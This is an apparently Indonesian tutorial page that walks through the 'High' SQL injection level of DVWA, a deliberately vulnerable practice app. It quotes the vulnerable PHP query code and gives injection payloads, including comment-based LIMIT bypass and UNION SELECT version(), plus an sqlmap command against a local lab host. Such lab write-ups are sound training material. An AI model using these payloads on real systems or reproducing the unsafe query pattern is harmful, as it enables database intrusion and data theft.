High
SQL Injection level High on DVWA
Di bawah ini adalah source-code dari SQL Injection level high di DVWA.
vulnerabilities/sqli/source/high.php
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Mencari Informasi
Pada level ini terdapat perbedaan tentang cara melakukan inputan. Sekarang form inputan berada di halaman session-input.php (lalu nilanya dijadikan session) dan hasilnya akan ditampilkan di halaman index.php.

Jika kita mencoba memasukkan kutip '
, terdapat pesan error (tetapi pesan error ini, pesan yang telah developer tentukan).

Coba perhatikan source code-nya, kali ini tidak terdapat pengecekan spesial karakter dan terdapat LIMIT yang membuat hanya 1 record yang tampil. Sehingga jika kita kembali menggunakan payload berikut, tetap yang muncul hanyalah 1 record.
%' '0' = '0

Untuk mengatasi LIMIT ini, saya menemukan suatu cara, yaitu membuat query LIMIT ini menjadi komentar dengan menggunakan karakter #
.
Melakukan Serangan
Setelah mengumpulkan informasi, kita akan mulai melakukan SQL Injection dengan payload seperti berikut:
%' '0' = '0' #
Sehingga query yang server jalankan adalah seperti berikut:
SELECT first_name, last_name FROM users WHERE user_id = '%' '0' = '0' #' LIMIT 1;
Mudah dimengerti bukan?😊
Kita juga bisa mendapatkan informasi tentang versi DBMS yang digunakan dengan payload berikut:
1 ' UNION SELECT null, version() #

Yup! Setelah ini kalian bisa explore lebih lanjut ya.
Pada level ini saya tidak bisa menggunakan SQLMap. Sepertinya SQLMap kebingungan, karena kita menggunakan halaman session-input.php untuk melakukan inputan, sedangkan hasilnya berada pada index.php.
Menggunakan SQLMap
UPDATE!!! Gunakan perintah berikut lalu jalankan:
sqlmap -u "http://172.17.0.2/vulnerabilities/sqli/?id=1" --cookie="PHPSESSID=lred0jr6na1vmci2o8160sb5ff; security=high" --dbs
Tetap semangat! Happy Hacking! 🍻
Last updated
Was this helpful?